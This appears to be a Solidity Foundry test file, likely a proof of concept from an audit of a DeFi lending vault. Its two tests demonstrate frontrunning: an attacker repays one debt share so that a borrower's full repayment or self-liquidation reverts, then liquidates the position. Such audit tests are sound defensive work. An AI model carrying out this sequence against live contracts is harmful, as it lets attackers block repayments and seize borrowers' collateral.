    function testRepaymentFrontrun() external {
        address attacker = address(0xa1ac4e5);

        _setupBasicLoan(true);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), type(uint256).max);

        vm.prank(WHALE_ACCOUNT);
        USDC.transfer(address(attacker), 1e12);

        vm.prank(attacker);
        USDC.approve(address(vault), type(uint256).max);
        
        // wait 7 day - interest growing
        vm.warp(block.timestamp + 7 days);

        uint256 debtShares = vault.loans(TEST_NFT);

        vm.prank(attacker);
        vault.repay(TEST_NFT, 1, true); // repay 1 share

        // user's repayment fails
        vm.prank(WHALE_ACCOUNT);
        vm.expectRevert(IErrors.RepayExceedsDebt.selector);
        vault.repay(TEST_NFT, debtShares, true); // try to repay all shares

        // attacker (or someone else) can liquidate the position now
        vm.prank(attacker);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares - 1, 0, 0, attacker, ""));
    }


    function testLiquidationFrontrun() external {
        address attacker = address(0xa1ac4e5);

        _setupBasicLoan(true);

        vm.prank(WHALE_ACCOUNT);
        USDC.approve(address(vault), type(uint256).max);

        vm.prank(WHALE_ACCOUNT);
        USDC.transfer(address(attacker), 1e12);

        vm.prank(attacker);
        USDC.approve(address(vault), type(uint256).max);
               
        // wait 7 day - interest growing
        vm.warp(block.timestamp + 7 days);

        uint256 debtShares = vault.loans(TEST_NFT);

        vm.prank(attacker);
        vault.repay(TEST_NFT, 1, true); // repay 1 share

        // user's self-liquidation fails
        vm.prank(WHALE_ACCOUNT);
        vm.expectRevert(IErrors.DebtChanged.selector);
        vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
    }
